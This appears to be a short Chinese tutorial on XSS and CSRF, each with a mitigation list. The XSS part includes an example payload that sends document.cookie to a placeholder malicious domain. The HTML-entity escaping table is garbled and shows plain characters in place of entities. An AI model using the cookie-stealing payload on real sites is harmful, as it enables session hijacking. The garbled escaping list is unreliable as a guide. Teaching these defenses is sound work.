1.XSS 是什么?如何防范
div.innerHTML = userComment
// userComment 内容是
<script>$.get('http://恶意网站.com?cookie='+document.cookie)</script>
// 恶意就被执行了,这就是 XSS
防范:
1.不要使用 innerHTML,改成 innerText,script 就会被当成文本,不执行
2.如果你一样要用 innerHTML,使用HTML实体
把 < 替换成 <
把 > 替换成 >
把 & 替换成 &
把 ' 替换成 '
把 ' 替换成 "
2.CSRF是什么?如何防范
CSRF (Cross Site Request Forgery)攻击,跨站请求伪造。其原理是攻击者构造网站后台某个功能接口的请求地址,诱导用户去点击或者用特殊方法让该请求地址自动加载。
用户在登录qq中被恶意切换到黑客网站,黑客网站发送qq.com/add_friend
请求,让当前用户添加黑客为好友,用户实际并没有发送该请求,黑客伪造了发请求的假象
防范:
1.检查HTTP首部中Origin或 请求头中Referer
2.在表单中添加_csrf_token,Token 保存在 Session 中Session 是服务器端的内存(数据),一般通过在 Cookie 里记录 SessionID 实现,且SessionID 一般是随机数
3.自定义请求头
4.表单提交使用POST,POST 的参数(数据)放在请求消息体里。
1.服务端在收到路由请求时,生成一个随机数,在渲染请求页面时把随机数埋入页面(一般埋入form
表单内,<input type="hidden" name="_csrf_token" value="xxxx">
)
2.服务端设置setCookie
,把该随机数作为cookie
或者session
种入用户浏览器
3.当用户发送 GET 或者 POST 请求时带上_csrf_token
参数(对于 Form 表单直接提交即可,因为会自动把当前表单内所有的 input 提交给后台,包括_csrf_token
)
4.后台在接受到请求后解析请求的cookie
获取_csrf_token
的值,然后和用户请求提交的_csrf_token
做个比较,如果相等表示请求是合法的。
(上图是某电商网站的真实设置,这里页面上设置的 token和session里设置的token 虽然不直接相等,但 md5('1474357164624') === '4bd4e512b0fbd9357150649adadedd4e',后台还是很好计算的)